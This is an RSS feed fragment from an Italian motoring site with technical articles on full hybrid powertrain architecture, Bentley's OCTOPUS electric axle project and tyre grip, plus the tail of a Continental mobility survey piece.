<p>Chi per professione passa al volante la maggior parte del proprio tempo, autisti di mezzi pesanti, ha invece riscontrato, per il 41%, una maggiore sicurezza dato il minor numero di auto in circolazione durante i mesi del lockdown.</p>
<p>Il mondo e le esigenze sono cambiate profondamente, il nostro modo di muoverci è improntato verso una maggiore sicurezza, desiderio che ci accompagnerà ancora per molto tempo.</p>
<p>
<a href="https://www.giornalemotori.com/grafico-2-2/"><img decoding="async" width="150" height="150" src="https://www.giornalemotori.com/wp-content/uploads//2020/10/grafico-2-150x150.jpg" class="attachment-thumbnail size-thumbnail" alt="grafico 2" title="Continental: 2° osservatorio nazionale sulla mobilità e sicurezza 481"></a>
</p>
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		<title>TECNOLOGIA FULL HYBRID F-HEV, DEFINIZIONE, ARCHITETTURA E FUNZIONAMENTO</title>
		<link>https://www.giornalemotori.com/2020/09/30/tecnologia-full-hybrid-f-hev-definizione-architettura-e-funzionamento/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=tecnologia-full-hybrid-f-hev-definizione-architettura-e-funzionamento</link>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Wed, 30 Sep 2020 05:30:53 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>Ormai sul mercato si stanno diffondendo sempre di più veicoli che adottano tecnologia ibrida. Dopo aver trattato le varie tipologie di Mild Hybird (MiHEV), il passo successivo sono i veicoli Full Hybrid (F-HEV) senza ricarica esterna detti Full Hybrid Plug-IN o PHEV. La tecnologia Full Hybrid (F-HEV) si divide in due branche. Ibridi in Serie [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<p style="text-align: justify;">Ormai sul mercato si stanno diffondendo sempre di più veicoli che adottano tecnologia ibrida. Dopo aver trattato le varie tipologie di <a href="https://www.giornalemotori.com/2020/05/08/la-tecnologia-mild-hybrid-parte-ii-architettura-mihev-liv1-e-successive/">Mild Hybird (MiHEV)</a>, il passo successivo sono i veicoli Full Hybrid (F-HEV) senza ricarica esterna detti Full Hybrid Plug-IN o PHEV.</p>
<p><img decoding="async" class="aligncenter size-large wp-image-98211" src="https://www.giornalemotori.com/wp-content/uploads//2020/09/17-Prius-cut-away--1024x638.jpg" alt="17 Prius cut away" width="1024" height="638" title="TECNOLOGIA FULL HYBRID F-HEV, DEFINIZIONE, ARCHITETTURA E FUNZIONAMENTO 492"></p>
<p style="text-align: justify;">La tecnologia Full Hybrid (F-HEV) si divide in due branche. Ibridi in Serie ed ibridi Serie/Parallelo. I primo utilizza il motore elettrico come propulsore principale. I motori elettrici sono di maggiore potenza e sono identificabili come vetture elettriche con motore endotermico a sostegno per fornire energia alla batteria.</p>
<p style="text-align: justify;">Solo superato una determinata richiesta di potenza o di velocità come la marcia autostradale,  il motore endotermico che viene lasciato da solo a spingere sulle ruote motrici. Nel caso di richiesta di potenza il motore elettrico funge da boost di spinta. Esempio il sistema <a href="https://www.giornalemotori.com/2020/06/28/test-drive-nuova-jazz-e-jazz-crosstar-ehev-prestazioni-ed-efficienza/">e:HEV Honda</a> indica come potenza massima quella erogata dal motore elettrico senza combinarsi con quella endotermica.</p>
<p><img decoding="async" class="aligncenter size-full wp-image-98212" src="https://www.giornalemotori.com/wp-content/uploads//2020/09/Hybrid-vehicle-configurations-A-parallel-B-series-and-C-power-split.jpg" alt="Hybrid vehicle configurations A parallel B series and C power split" width="850" height="641" title="TECNOLOGIA FULL HYBRID F-HEV, DEFINIZIONE, ARCHITETTURA E FUNZIONAMENTO 493" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/09/Hybrid-vehicle-configurations-A-parallel-B-series-and-C-power-split.jpg 850w, https://www.giornalemotori.com/wp-content/uploads/2020/09/Hybrid-vehicle-configurations-A-parallel-B-series-and-C-power-split-768x579.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/09/Hybrid-vehicle-configurations-A-parallel-B-series-and-C-power-split-300x226.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/09/Hybrid-vehicle-configurations-A-parallel-B-series-and-C-power-split-696x525.jpg 696w" sizes="(max-width: 850px) 100vw, 850px" /></p>
<p style="text-align: justify;">Nel caso di tecnologia Serie/Parallelo, come sopra fino ad una determinata richiesta di potenza.  Il motore elettrico ha una potenza minore chiamando più spesso l&#8217;endotermico a spingere per fornire potenza in modo parallelo. I sistemi di <a href="https://www.giornalemotori.com/2020/09/11/test-drive-toyota-yaris-1-5-hybrid-premiere-tutta-nuova-efficiente-e-divertente/">Toyota</a> non sommano la potenza ma il suo valore viene calcolato dalla spinta che i due motori offrono in parallelo.  Nel caso di <a href="https://www.giornalemotori.com/2020/09/28/test-drive-renault-clio-e-tech-hybrid-140cv-lefficienza-derivata-dalle-corse/">Renault E-Tech,</a> invece, il motore elettrico quando si richiede la massima potenza, il motore elettrico spinge come il sistema Kers di F1 sommando di fatto la potenza effettiva.</p>
<p style="text-align: justify;">Detto questo, in questa trattazione spieghiamo come sono formati entrambi i sistemi in modo generico. Di base,  i Full Hybrid, non hanno ricarica esterna e sono composti da una unità endotermica. Questo è di solito a benzina ma nulla vieta di utilizzare un propulsore diesel. A questi si affianca almeno un motore elettrico per ridurre le emissioni di CO2 sfruttando la possibilità di marciare in modalità full elettrico.</p>
<p><figure id="attachment_98213" aria-describedby="caption-attachment-98213" style="width: 550px" class="wp-caption aligncenter"><img decoding="async" class="size-full wp-image-98213" src="https://www.giornalemotori.com/wp-content/uploads//2020/09/6a00d8341c4fbe53ef0240a4e7401a200d-550wi.jpg" alt="6a00d8341c4fbe53ef0240a4e7401a200d 550wi" width="550" height="389" title="TECNOLOGIA FULL HYBRID F-HEV, DEFINIZIONE, ARCHITETTURA E FUNZIONAMENTO 494" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/09/6a00d8341c4fbe53ef0240a4e7401a200d-550wi.jpg 550w, https://www.giornalemotori.com/wp-content/uploads/2020/09/6a00d8341c4fbe53ef0240a4e7401a200d-550wi-300x212.jpg 300w" sizes="(max-width: 550px) 100vw, 550px" /><figcaption id="caption-attachment-98213" class="wp-caption-text">Honda Jazz</figcaption></figure></p>
<p style="text-align: justify;">Inoltre, la trazione elettrica aiuta il motore endotermico nelle fasi passive come la ripresa e lo sfruttamento ottimale della curva di coppia, che rimane maggiore rispetto ad un endotermico che deve lavorare da solo in modo classico. Di contro, si deve fare i conti con una maggiore complessità del sistema che non sempre trova alloggio in modo naturale su piattaforme tecniche non predisposte. Si deve ricavare, infatti, lo spazio per il serbatoio di carburante e la batteria. Questo porta ad un maggior costo di progettazione e di produzione che ricade sul prezzo finale del veicolo.</p>
<p style="text-align: justify;">La batteria è di alto voltaggio dai 200 ai 400V con un controllo di potenza, inverter, ed un motore elettrico, a cui di solito di affianca un moto-generatore BSG simile a quello usato sulle <a href="https://www.giornalemotori.com/2020/04/20/la-tecnologia-mild-hybrid-parte-i-introduzione-ai-sistemi-a-12v-e-48v/">mild hybrid</a> o HSG con potenza a supporto fino a 20cv. Infine, è presente un convertitore di corrente elettrica. I progettisti devono fare i  conti anche con il maggior peso e la disposizione di quest&#8217;ultimo sui due assi. Un aspetto che di solito necessita anche di un adeguamento del set up delle sospensioni.</p>
<p><img decoding="async" class="aligncenter size-full wp-image-98214" src="https://www.giornalemotori.com/wp-content/uploads//2020/09/Renault-E-Tech-Hybride-Renautl-Clio-Fahrbericht-bigMobileWide-bda775c8-1707486-1.jpg" alt="Renault E Tech Hybride Renautl Clio Fahrbericht bigMobileWide bda775c8 1707486 1" width="750" height="422" title="TECNOLOGIA FULL HYBRID F-HEV, DEFINIZIONE, ARCHITETTURA E FUNZIONAMENTO 495" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/09/Renault-E-Tech-Hybride-Renautl-Clio-Fahrbericht-bigMobileWide-bda775c8-1707486-1.jpg 750w, https://www.giornalemotori.com/wp-content/uploads/2020/09/Renault-E-Tech-Hybride-Renautl-Clio-Fahrbericht-bigMobileWide-bda775c8-1707486-1-300x169.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/09/Renault-E-Tech-Hybride-Renautl-Clio-Fahrbericht-bigMobileWide-bda775c8-1707486-1-696x392.jpg 696w" sizes="(max-width: 750px) 100vw, 750px" /></p>
<p style="text-align: justify;">Il propulsore endotermico può essere sia di tipo aspirato ma anche turbo. La riduzione della cilindrata sfruttando la presenza del motore elettrico non è così scontata. I giapponesi sfruttano il ciclo <a href="https://www.giornalemotori.com/2019/02/22/il-motore-endotermico-il-ciclo-atkinson-miller-ed-i-propulsori-che-li-utilizzano/">Atkinson/Miller</a> applicando cilindrate più alte o invariate per avere la potenza minima sufficiente a garantire le prestazioni discrete.</p>
<p style="text-align: justify;">I tecnici <a href="https://www.giornalemotori.com/2019/11/02/test-drive-hyundai-kona-hev-1-6-litri-dct-xprime-dinamica-con-consumi-contenuti/">coreani</a> ed europei,  invece, non adottano cicli particolari. Ma rimangono fedeli al motore aspirato perchè il turbo aggiungerebbe una ulteriore variabile alla gestione del sistema ed aumenterebbe i costi. In ogni caso qualche brand premium come Mercedes sta iniziando ad adottare motori sovralimentati più piccoli, ma sfruttano la carica esterna plug-in per compensare con maggiore capacità elettrica.</p>
<p><img decoding="async" class="aligncenter size-full wp-image-98215" src="https://www.giornalemotori.com/wp-content/uploads//2020/09/m_r.jpg" alt="m r" width="720" height="720" title="TECNOLOGIA FULL HYBRID F-HEV, DEFINIZIONE, ARCHITETTURA E FUNZIONAMENTO 496" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/09/m_r.jpg 720w, https://www.giornalemotori.com/wp-content/uploads/2020/09/m_r-150x150.jpg 150w, https://www.giornalemotori.com/wp-content/uploads/2020/09/m_r-300x300.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/09/m_r-696x696.jpg 696w" sizes="(max-width: 720px) 100vw, 720px" /></p>
<p style="text-align: justify;">La macchina o le macchine elettriche sono di tipo sincrono a magneti permanenti. Quindi elevati valori di coppia a parità di potenza e maggiore efficienza. Un motore elettrico, infatti, ha un rendimento che può andare dal 92 al 97% a differenza del migliore dei motori endotermici che non supera al momento il 45%. In più, la coppia viene erogata in modo quasi istantaneo, rimanendo costante fino ai giri massimi, a differenza di un endotermico. Infine,  un motore elettrico ha la capacità di recuperare energia nelle fasi passive.</p>
<p style="text-align: justify;">Il motore elettrico consente al propulsore endotermico di funzionare nelle migliori condizioni di efficienza. Questa condizione lo rende anche perfetto per l&#8217;uso in range extender come generatore di energia. Di solito c&#8217;è, o un secondo motore elettrico, o una unità moto-generatore ad alta potenza per alimentare la batteria. Questi forniscono anche anche coppia aggiuntiva. Soprattutto nei Full Hybrid Serie/Parallelo, ma anche quelli di tipo Serie sfruttano un boost aggiuntivo al massimo della spinta.</p>
<p><img decoding="async" class="aligncenter size-full wp-image-98216" src="https://www.giornalemotori.com/wp-content/uploads//2020/09/ma0111_uc2.jpg" alt="ma0111 uc2" width="400" height="374" title="TECNOLOGIA FULL HYBRID F-HEV, DEFINIZIONE, ARCHITETTURA E FUNZIONAMENTO 497" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/09/ma0111_uc2.jpg 400w, https://www.giornalemotori.com/wp-content/uploads/2020/09/ma0111_uc2-300x281.jpg 300w" sizes="(max-width: 400px) 100vw, 400px" /></p>
<p style="text-align: justify;">Dove i progettisti si sbizzarriscono è nella progettazione della trasmissione. In questa trattazione, ci limiteremo a dire che vengono adottate trasmissioni ridotte nelle dimensioni e nel numero dei rapporti fino ad averne anche uno soltanto. Il vantaggio in termini di peso, ingombro e rendimento è notevole.</p>
<p style="text-align: justify;">Ciò viene permesso grazie alle caratteristiche di erogazione del motore elettrico che non necessita di un cambio. Il motore endotermico, d&#8217;altra parte, per effetto dell’aiuto della unità elettrica può limitare l’uso delle marce avendo una spinta aggiuntiva in termini di coppia.</p>
<p><img decoding="async" class="aligncenter size-full wp-image-98217" src="https://www.giornalemotori.com/wp-content/uploads//2020/09/poster_005.jpg" alt="poster 005" width="640" height="360" title="TECNOLOGIA FULL HYBRID F-HEV, DEFINIZIONE, ARCHITETTURA E FUNZIONAMENTO 498" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/09/poster_005.jpg 640w, https://www.giornalemotori.com/wp-content/uploads/2020/09/poster_005-300x169.jpg 300w" sizes="(max-width: 640px) 100vw, 640px" /></p>
<p style="text-align: justify;">Cuore di ogni sistema F-HEV è il controllo elettronico che gestisce la ripartizione della coppia tra l’endotermico ed il motore elettrico in base all&#8217;utilizzo dell’acceleratore da parte del conducente. Alcuni sistemi possono lasciare al driver la scelta di  come controllare la funzionalità con le modalità EV, ECO e Sport a comando.</p>
<p style="text-align: justify;">Dal punto di vista del rendimento il sistema Full Hybrid consente anche di fare a meno di accessori come il motorino di avviamento e l’alternatore affidandosi al moto-generatore, riducendo le resistenze passive. Alcuni sistemi prevedono ancora una batteria a 12v, ma spesso la batteria principale fornisce anche energia per le funzioni di bordo a bassa tensione.</p>
<p><img decoding="async" class="aligncenter size-full wp-image-98218" src="https://www.giornalemotori.com/wp-content/uploads//2020/09/800px-Toyota_electronic_continuously_variable_transmission_2010-10-16_03.jpg" alt="800px Toyota electronic continuously variable transmission 2010 10 16 03" width="800" height="600" title="TECNOLOGIA FULL HYBRID F-HEV, DEFINIZIONE, ARCHITETTURA E FUNZIONAMENTO 499" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/09/800px-Toyota_electronic_continuously_variable_transmission_2010-10-16_03.jpg 800w, https://www.giornalemotori.com/wp-content/uploads/2020/09/800px-Toyota_electronic_continuously_variable_transmission_2010-10-16_03-768x576.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/09/800px-Toyota_electronic_continuously_variable_transmission_2010-10-16_03-300x225.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/09/800px-Toyota_electronic_continuously_variable_transmission_2010-10-16_03-696x522.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2020/09/800px-Toyota_electronic_continuously_variable_transmission_2010-10-16_03-265x198.jpg 265w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p style="text-align: justify;"> La coppia aggiuntiva del moto-generatore renderebbe il sistema F-HEV adatto anche ai motori turbo azzerando il ritardo iniziale della turbina.  Se abbinato ad un Turbodiesel potrebbe anche limitare le emissioni inquinanti alleggerendo il lavoro compiuto per ottenere una combustione del gasolio più omogenea. Nei sistemi dove è presente un cambio con un numero ridotto di marce o addirittura l’adozione di un cambio a doppia frizione aiuta il propulsore endotermico nelle fasi passive durante il cambio marcia.</p>
<p style="text-align: justify;">La fase di rigenera avviene quando il conducente preme il pedale del freno. Si recupera energia sia azionando i freni idraulici che attraverso il freno motore del motore elettrico. Di solito ci sono funzioni abbinate alla trasmissione che aumentano l’azione di rallentamento sfruttando un solo pedale per accelerare e rallentare.</p>
<p><img decoding="async" class="aligncenter size-full wp-image-98219" src="https://www.giornalemotori.com/wp-content/uploads//2020/09/prius-ev-button.jpg" alt="prius ev button" width="620" height="348" title="TECNOLOGIA FULL HYBRID F-HEV, DEFINIZIONE, ARCHITETTURA E FUNZIONAMENTO 500" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/09/prius-ev-button.jpg 620w, https://www.giornalemotori.com/wp-content/uploads/2020/09/prius-ev-button-300x168.jpg 300w" sizes="(max-width: 620px) 100vw, 620px" /></p>
<p style="text-align: justify;">Una delle caratteristiche del full hybrid è quella di andare in modalità EV anche se per percorrenze limitate. In questa condizione il motore a combustione interna è spento mentre il motore elettrico fornisce tutta la coppia necessaria alla marcia.</p>
<p style="text-align: justify;">Questa modalità può essere attivata a comando dal conducente dai 5Km/h fino ad un massimo di 30Km/h a causa della limitata energia disponibile nella batteria. Se invece il sistema lavora in modalità Hybrid Auto, il controllo gestisce la capacità di andare in modalità full elettrica in base ai parametri, come velocità, il livello della batteria e l’assorbimento di potenza.  Può succedere anche di veleggiare a 120km/h con pochissimo acceleratore. In questo caso il sistema viaggia in EV  in base alla capacità della batteria o si richiede maggiore potenza accelerando di più.</p>
<p><img decoding="async" class="aligncenter size-full wp-image-98220" src="https://www.giornalemotori.com/wp-content/uploads//2020/09/phev_im_05.jpg" alt="phev im 05" width="718" height="579" title="TECNOLOGIA FULL HYBRID F-HEV, DEFINIZIONE, ARCHITETTURA E FUNZIONAMENTO 501" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/09/phev_im_05.jpg 718w, https://www.giornalemotori.com/wp-content/uploads/2020/09/phev_im_05-300x242.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/09/phev_im_05-696x561.jpg 696w" sizes="(max-width: 718px) 100vw, 718px" /></p>
<p style="text-align: justify;">Il F-HEV non utilizza ricarica esterna. Quindi se si desidera avere una marcia in EV maggiore si deve passare ad una tecnologia Full Hybrid Plug-In la cui batteria ha una capacità maggiore consentendo anche percorrenze elevate alla velocità di 90-130 km/h. Tale tecnologia dovrebbe essere indicata dal costruttore aggiungendo i km percorribili in elettrico. Esempio veicolo PHEV50, con percorrenza di 50km in elettrico secondo il ciclo WLTP.</p>
<p style="text-align: justify;">Infine,  la tecnologia F-HEV sfrutta la batteria facendo si che rimanga sempre un <strong style="font-style: inherit;">stato di carica minimo detto (SOC)</strong> per evitare danni permanenti. Quindi non si sfrutta mai il 100% di carica esistente. Una condizione di cui si deve tenere conto soprattutto quando si chiede la massima potenza quando utilizzando l&#8217;ibrido parallelo o boost avendo a disposizione solo l’80% di energia come spinta totale prima che il motore endotermico venga lasciato da solo con evidente calo di coppia.</p>
<p><img decoding="async" class="aligncenter size-large wp-image-98221" src="https://www.giornalemotori.com/wp-content/uploads//2020/09/lexus-ux-hybrid-la-prova-consumi-1024x576.jpg" alt="lexus ux hybrid la prova consumi" width="1024" height="576" title="TECNOLOGIA FULL HYBRID F-HEV, DEFINIZIONE, ARCHITETTURA E FUNZIONAMENTO 502" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/09/lexus-ux-hybrid-la-prova-consumi-1024x576.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2020/09/lexus-ux-hybrid-la-prova-consumi-768x432.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/09/lexus-ux-hybrid-la-prova-consumi-300x169.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/09/lexus-ux-hybrid-la-prova-consumi-696x392.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2020/09/lexus-ux-hybrid-la-prova-consumi.jpg 1136w" sizes="(max-width: 1024px) 100vw, 1024px" /></p>
<p style="text-align: justify;">In conclusione, l’efficacia del sistema F-HEV non è in discussione. I numeri parlano chiaro, i pregi superano di gran lunga i difetti. Le prestazioni in termini di consumi sono in linea con i migliori turbodiesel di pari potenza. C’è solo da tenere presente che per far funzionare al meglio tale tecnologia la conoscenza del sistema e il suo sfruttamento è fondamentale per l’utente. Il driver deve imparare a sfruttare al meglio la capacità della batteria veleggiando anche con percentuali, su un percorso cittadino,  del 80% in elettrico. Per ottenere tali valori si devono usare al meglio le opzioni di ricarica adeguando la marcia per avere sempre una batteria con più del 50% di ricarica.</p>
<p style="text-align: justify;"><strong>Daniele Amore</strong></p>
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		<title>Bentley: OCTOPUS, un e-Axle, compatto ed efficiente per il futuro della trazione elettrica</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Wed, 19 Aug 2020 13:08:48 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
		<category><![CDATA[La tecnica]]></category>
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					<description><![CDATA[<p>La tecnologia per i veicoli EV a propulsione elettrica si evolve. Bentley pur appartenendo alla galassia Volkswagen a dato vita ad un progetto indipendente per la sua futura generazione di veicoli elettrici. Il progetto OCTOPUS (Optimized Components, Test and simulatiOn, toolkits for Powertrains that integrate Ultra high-speed motor Solutions). Si tratta di concepire un e-Axle [&#8230;]</p>
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										<content:encoded><![CDATA[<p style="text-align: justify;">La tecnologia per i veicoli EV a propulsione elettrica si evolve. Bentley pur appartenendo alla galassia Volkswagen a dato vita ad un progetto indipendente per la sua futura generazione di veicoli elettrici.</p>
<p><img decoding="async" class="aligncenter size-full wp-image-95861" src="https://www.giornalemotori.com/wp-content/uploads//2020/08/OCTOPUS-e-axle-annotated-2-978x500-1.jpg" alt="OCTOPUS e axle annotated 2 978x500 1" width="978" height="500" title="Bentley: OCTOPUS, un e-Axle, compatto ed efficiente per il futuro della trazione elettrica 504" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/08/OCTOPUS-e-axle-annotated-2-978x500-1.jpg 978w, https://www.giornalemotori.com/wp-content/uploads/2020/08/OCTOPUS-e-axle-annotated-2-978x500-1-768x393.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/08/OCTOPUS-e-axle-annotated-2-978x500-1-300x153.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/08/OCTOPUS-e-axle-annotated-2-978x500-1-696x356.jpg 696w" sizes="(max-width: 978px) 100vw, 978px" /></p>
<p style="text-align: justify;">Il progetto OCTOPUS (Optimized Components, Test and simulatiOn, toolkits for Powertrains that integrate Ultra high-speed motor Solutions). Si tratta di concepire un e-Axle ovvero un assale di tipo modulare con la possibilità di ospitare motore elettrico e trasmissione. Tale sistema può essere adattato tanto ad un veicolo puramente elettrico che per propulsione ibrida.</p>
<p style="text-align: justify;">Oltre all’aspetto modulare, i tecnici Bentley, in associazione con altri enti tra cui l’Advanced Rererch Machine e l’Università di Nottingham, lavorano per utilizzare motori sincroni con magneti permanenti che non utilizzano materiali ricavati dalle terre rare. Inoltre si sta lavorando per limitare ed ottimizzare l’uso negli avvolgimenti di Alluminio e soprattutto Rame, pur conservando la possibilità di andare a regimi come 30000 giri/minuto.  Questo, oltre ad una maggiore efficienza che migliora anche l’erogazione di potenza, riduce peso e rende il sistema motore-trasmissione più compatto.</p>
<p style="text-align: justify;">Per quanto alla Bentley possono attingere allo scaffale tecnologico del gruppo Volkswagen con la tecnologia ibrida ricavata dai modelli SUV di Porsche ed Audi ed alle nuove piattaforme tecniche per veicoli elettrici della casa degli anelli, il costruttore britannico intende sviluppare tecnologia che migliorano l’efficienza, la compattezza e la potenza. L’obiettivo è quello di portare il brand britannico a recuperare quella immagine di costruttore innovativo che lo ha portato a vincere le gare come la Le Mans agli albori del secolo scorso proiettandosi verso il futuro della trazione elettrica.</p>
<p><strong>Daniele Amore</strong></p>
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		<title>Gli Pneumatici Parte II: L&#8217;aderenza o Grip</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Mon, 10 Aug 2020 12:26:06 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>Dopo aver descritto il funzionamento e determinato il concetto di finestra di lavoro di un pneumatico ci si deve concentrare sull’aderenza, o Grip. L’aderenza è il coefficiente di attrito che si genera tra la superficie del pneumatico e quella della strada o la pista. Quindi, entra in gioco un altro protagonista la superficie stradale e [&#8230;]</p>
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										<content:encoded><![CDATA[<p style="text-align: justify;">Dopo aver descritto il funzionamento e determinato il concetto di finestra di lavoro di un pneumatico ci si deve concentrare sull’aderenza, o Grip.</p>
<p><img decoding="async" class="aligncenter size-full wp-image-94163" src="https://www.giornalemotori.com/wp-content/uploads//2020/06/1086-aderenza-375x289-1.jpg" alt="1086 aderenza 375x289 1" width="375" height="289" title="Gli Pneumatici Parte II: L&#039;aderenza o Grip 508" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/06/1086-aderenza-375x289-1.jpg 375w, https://www.giornalemotori.com/wp-content/uploads/2020/06/1086-aderenza-375x289-1-300x231.jpg 300w" sizes="(max-width: 375px) 100vw, 375px" /></p>
<p style="text-align: justify;">L’aderenza è il coefficiente di attrito che si genera tra la superficie del pneumatico e quella della strada o la pista. Quindi, entra in gioco un altro protagonista la superficie stradale e la sua rugosità.</p>
<p style="text-align: justify;">L&#8217;asfalto ha un suo coefficiente di attrito determinato in base alla composizione del bitume. L&#8217;aderenza è determinata dalla pressione verticale che spinge il pneumatico a contatto con la superficie stradale. Questa dipende anche da altri due fattori come la temperatura ed il legame molecolare che si genera tra mescola ed asfalto.</p>
<p style="text-align: justify;">Così come ogni corpo anche l&#8217;asfalto ha una sua rugosità. Cioè un corpo è contraddistinto da microimperfezioni geometriche intrinseche o risultanti da lavorazioni meccaniche. Tali imperfezioni si presentano generalmente in forma di solchi o scalfitture, di forma, profondità e direzione variabile.</p>
<p><figure id="attachment_94164" aria-describedby="caption-attachment-94164" style="width: 600px" class="wp-caption aligncenter"><img decoding="async" class="wp-image-94164 size-full" src="https://www.giornalemotori.com/wp-content/uploads//2020/06/Tyre-grip-indentation.jpg" alt="Tyre grip indentation" width="600" height="323" title="Gli Pneumatici Parte II: L&#039;aderenza o Grip 509" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/06/Tyre-grip-indentation.jpg 600w, https://www.giornalemotori.com/wp-content/uploads/2020/06/Tyre-grip-indentation-300x162.jpg 300w" sizes="(max-width: 600px) 100vw, 600px" /><figcaption id="caption-attachment-94164" class="wp-caption-text">Michelin. (2001). The Tire &#8211; Grip</figcaption></figure></p>
<p style="text-align: justify;">Se si analizza in profondità si vedranno delle creste e dei solchi dovuti alla densità dei grani che compongono la superficie dell&#8217;asfalto. La mescola del battistrada si deforma copiando l&#8217;asfalto. Le zone che vanno a contatto con le creste ed parzialmente nei solchi determinano l&#8217;attrito tra le due superfici. Le zone della mescola a contatto sono sottoposte a deformazione. Per effetto della viscoelasticità della gomma, c&#8217;è un ritardo di isteresi. Questo ritardo nel ritornare alla posizione iniziale della gomma genera di fatto la forza di attrito che si oppone allo slittamento.</p>
<p style="text-align: justify;">In una condizione di bagnato le sezioni a contatto si riducono in modo considerevole per effetto della presenza del film di acqua tra le parti. In questo caso si utilizzano pneumatici scanalati per il drenaggio dell&#8217;acqua e una mescola con maggior presenza di gomma naturale che altera la viscoelasticità generando maggiore superficie di contatto con l&#8217;asfalto.</p>
<p style="text-align: justify;">Il contatto tra la gomma e l&#8217;asfalto  forma un legame molecolare tra le due parti. Come ogni elemento, le cui molecole hanno legami. La forza del legame tra le molecole determina lo stato da gassoso, molto debole a solido molto forte. La gomma è l&#8217;asfalto formano un legame come un corpo unico che si oppone alla forza di slittamento.</p>
<p><figure id="attachment_94165" aria-describedby="caption-attachment-94165" style="width: 600px" class="wp-caption aligncenter"><img decoding="async" class="wp-image-94165 size-full" src="https://www.giornalemotori.com/wp-content/uploads//2020/06/Tyre-grip-molecular-adhesion.jpg" alt="Tyre grip molecular adhesion" width="600" height="321" title="Gli Pneumatici Parte II: L&#039;aderenza o Grip 510" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/06/Tyre-grip-molecular-adhesion.jpg 600w, https://www.giornalemotori.com/wp-content/uploads/2020/06/Tyre-grip-molecular-adhesion-300x161.jpg 300w" sizes="(max-width: 600px) 100vw, 600px" /><figcaption id="caption-attachment-94165" class="wp-caption-text">Michelin. (2001). The Tire &#8211; Grip</figcaption></figure></p>
<p style="text-align: justify;">La pressione che genera il legame tra le due componenti, genera anche attrito interno nella mescola della gomma generando capacità di aderenza.  L&#8217;attrito interno alla mescola genera anche calore. Quando la forza di slittamento supera quella del legame molecolare questo si interrompe producendo lo slittamento. Quando questo avviene si staccano intere sezioni di gomma dalla mescola che possono essere visibili per la presenza di fumo, o la generazione di trucioli che si depositano ai lati della traiettoria ideale della percorrenza in pista.</p>
<p style="text-align: justify;">Quindi il calore che determina la quantità di aderenza non è quello superficiale. ma quello interno alla gomma generato dall&#8217;attrito interno alla mescola. Uno slittamento anche voluto, controllato, come molti pensano non è utile a tenere la temperatura della gomma nella finestra di utilizzo.</p>
<p style="text-align: justify;">Anzi è profondamente dannoso per l&#8217;usura e la prestazione che viene influenzata dalla rottura del legame  molecolare. Si possono verificare condizioni dove un calore interno troppo basso genera il fenomeno del Graining mentre un attrito interno troppo alto si verifica il fenomeno del Blistering.</p>
<p style="text-align: justify;"><img decoding="async" class="aligncenter size-full wp-image-94166" src="https://www.giornalemotori.com/wp-content/uploads//2020/06/Blistering_F1_2.jpg" alt="Blistering F1 2" width="838" height="706" title="Gli Pneumatici Parte II: L&#039;aderenza o Grip 511" srcset="https://www.giornalemotori.com/wp-content/uploads/2020/06/Blistering_F1_2.jpg 838w, https://www.giornalemotori.com/wp-content/uploads/2020/06/Blistering_F1_2-768x647.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2020/06/Blistering_F1_2-300x253.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2020/06/Blistering_F1_2-696x586.jpg 696w" sizes="(max-width: 838px) 100vw, 838px" /></p>
<p>Il controllo della pressione che determina il contatto con l&#8217;asfalto, in modo che generi la giusta quantità di calore interno alla mescola, è questo il valore che un progettista deve trovare per avere una aderenza massima. Quindi lavorare sulle sospensioni, ed aerodinamica, serve a generare la corretta pressione per avere il contatto ideale tra gomma ed asfalto per generare il legame molecolare perfetto.</p>
<p style="text-align: justify;">In definitiva, introducendo un elemento come la rugosità ed il coefficiente di attrito come l&#8217;asfalto, tutto diventa più complesso. In più c&#8217;è da fare i conti con la temperatura ambientale. Per avere la perfetta aderenza si dovrebbero avere una batteria di sensori che controllano lo stato e le condizioni del manto stradale per variare la taratura di sospensioni ed aerodinamica metro per metro. Non potendo fare una cosa del genere per evidenti limiti regolamentari si deve trovare un compromesso. Il progettista che ha più informazioni sul pneumatico, per tipo, struttura e condizioni ideali di lavoro, può essere avvantaggiato nel trovare la giusta finestra di utilizzo.</p>
